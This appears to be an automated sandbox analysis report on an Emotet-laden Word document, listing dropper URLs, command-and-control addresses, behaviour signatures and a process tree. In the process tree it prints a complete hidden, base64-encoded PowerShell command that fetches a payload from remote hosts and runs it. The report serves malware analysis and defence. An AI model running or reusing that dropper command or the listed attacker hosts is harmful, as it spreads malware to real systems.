Analysis

  • max time kernel
    128s
  • resource
    win10v191014
  • submitted
    16-12-2019 11:53

General

  • Target

    Docs_7f6f469f6981d4a92806d0d3b706e258.1.doc

  • Sample

    191216-6th7p8k31a

  • SHA256

    0dfb26cd2eb02c921a9c73c9c5615dfb666cdd33971639d6441eb6893ae2efe1

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://lilikhendarwati.com/wp-admin/JbdTQoQQ/

exe.dropper

http://www.zhangboo.com/wp-admin/lwhcvV/

exe.dropper

http://test.windsorheatingandair.com/wp-includes/r9lv-4teq5ff-8759846140/

exe.dropper

https://www.jackiejill.com/wp-includes/yiqr4r6a-dwt7s0u-26965878/

exe.dropper

http://apolina.pl/engl/1tuh6ul-gakf89-994/

Extracted

Family

emotet

C2

190.38.252.45:443

105.225.77.21:80

181.167.35.84:80

164.68.115.146:8080

5.189.148.98:8080

46.105.128.215:8080

69.30.205.162:7080

190.161.67.63:80

81.82.247.216:80

72.69.99.47:80

172.90.70.168:443

91.117.31.181:80

200.71.112.158:53

51.77.113.97:8080

190.101.87.170:80

96.234.38.186:8080

190.146.14.143:443

86.70.224.211:80

88.247.26.78:80

175.103.239.50:80

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Windows security modification 2 TTPs 2 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_7f6f469f6981d4a92806d0d3b706e258.1.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:4944
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:3756
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABPAHEAbwBqAHIAcABtAGsAZAB6AGwAZwA9ACcARwBlAHUAcwBjAGsAZgBlAGkAcwBsAGgAJwA7ACQAUwBnAHkAbgBhAGQAdABkAHoAaQAgAD0AIAAnADIAMQA4ACcAOwAkAEYAcwBuAGMAagBmAGIAbgBvAHUAdgBjAHcAPQAnAFYAcgB0AGcAdwBvAGoAaABnAHIAcQBrACcAOwAkAEkAcwB2AGUAZgB0AHMAYwB5AG0AawBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAGcAeQBuAGEAZAB0AGQAegBpACsAJwAuAGUAeABlACcAOwAkAFkAawBqAHoAbQB4AGcAeQBlAGsAcABmAD0AJwBYAGgAaABpAHYAcAB4AHQAbgAnADsAJABQAGQAegB2AGUAdgBiAGgAZQBzAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBiAGMATABpAEUAbgBUADsAJABNAHYAYwBiAGwAcgBoAGsAegBvAHoAZwA9ACcAaAB0AHQAcABzADoALwAvAGwAaQBsAGkAawBoAGUAbgBkAGEAcgB3AGEAdABpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBKAGIAZABUAFEAbwBRAFEALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB6AGgAYQBuAGcAYgBvAG8ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGwAdwBoAGMAdgBWAC8AKgBoAHQAdABwADoALwAvAHQAZQBzAHQALgB3AGkAbgBkAHMAbwByAGgAZQBhAHQAaQBuAGcAYQBuAGQAYQBpAHIALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHIAOQBsAHYALQA0AHQAZQBxADUAZgBmAC0AOAA3ADUAOQA4ADQANgAxADQAMAAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AagBhAGMAawBpAGUAagBpAGwAbAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AeQBpAHEAcgA0AHIANgBhAC0AZAB3AHQANwBzADAAdQAtADIANgA5ADYANQA4ADcAOAAvACoAaAB0AHQAcAA6AC8ALwBhAHAAbwBsAGkAbgBhAC4AcABsAC8AZQBuAGcAbAAvADEAdAB1AGgANgB1AGwALQBnAGEAawBmADgAOQAtADkAOQA0AC8AJwAuACIAcwBgAHAATABJAFQAIgAoACcAKgAnACkAOwAkAEoAdgBrAGgAawB0AHYAdABzAHEAagA9ACcASwBsAG0AdwBuAGkAcgByACcAOwBmAG8AcgBlAGEAYwBoACgAJABNAHoAbQBxAGIAegBqAHUAZwAgAGkAbgAgACQATQB2AGMAYgBsAHIAaABrAHoAbwB6AGcAKQB7AHQAcgB5AHsAJABQAGQAegB2AGUAdgBiAGgAZQBzAC4AIgBkAG8AYABXAG4AbABgAE8AQQBkAGYASQBMAEUAIgAoACQATQB6AG0AcQBiAHoAagB1AGcALAAgACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQA7ACQASwB5AGsAaABvAHMAeABlAD0AJwBKAGMAYwB2AHIAdQByAHQAbQB5ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQAuACIAbABFAG4AYABHAHQAaAAiACAALQBnAGUAIAAzADEANAA1ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAGEAYABSAFQAIgAoACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQA7ACQARAB5AGsAZABhAGcAZQBpAHkAawByAGEAaQA9ACcARwBhAHUAbABuAGEAdABoAGoAcQAnADsAYgByAGUAYQBrADsAJABSAHgAZgBhAHAAdwBjAGcAaQBlAHAAdwA9ACcAQwBsAHMAawB2AGkAdQBmAG0AbABkAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwByAGEAbQB1AG4AbgBrAHMAawBjAGUAPQAnAEQAYgBsAHgAbgB2AHkAaABwAHkAdgB4ACcA
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4672
      • C:\Users\Admin\218.exe
        "C:\Users\Admin\218.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4268
        • C:\Users\Admin\218.exe
          --fa4b85d7
          3⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious behavior: EmotetMutantsSpam
          • Suspicious use of SetWindowsHookEx
          PID:3748
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Drops file in Windows directory
      PID:4188
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
      1⤵
        PID:4036
      • C:\Windows\SysWOW64\sensorhal.exe
        "C:\Windows\SysWOW64\sensorhal.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4880
        • C:\Windows\SysWOW64\sensorhal.exe
          --aec77d6f
          2⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Drops file in System32 directory
          • Suspicious behavior: EmotetMutantsSpam
          • Suspicious use of SetWindowsHookEx
          PID:4892
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
        1⤵
          PID:4760
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k unistacksvcgroup
          1⤵
            PID:524
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
            1⤵
              PID:576

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/3748-10-0x0000000002120000-0x0000000002137000-memory.dmp

              Filesize

              92KB

            • memory/3748-11-0x0000000000400000-0x000000000047D000-memory.dmp

              Filesize

              500KB

            • memory/4268-8-0x0000000000620000-0x0000000000637000-memory.dmp

              Filesize

              92KB

            • memory/4880-13-0x0000000000660000-0x0000000000677000-memory.dmp

              Filesize

              92KB

            • memory/4892-16-0x0000000000400000-0x000000000047D000-memory.dmp

              Filesize

              500KB

            • memory/4892-15-0x0000000000DD0000-0x0000000000DE7000-memory.dmp

              Filesize

              92KB

            • memory/4944-2-0x0000028BF3AE8000-0x0000028BF3AEB000-memory.dmp

              Filesize

              12KB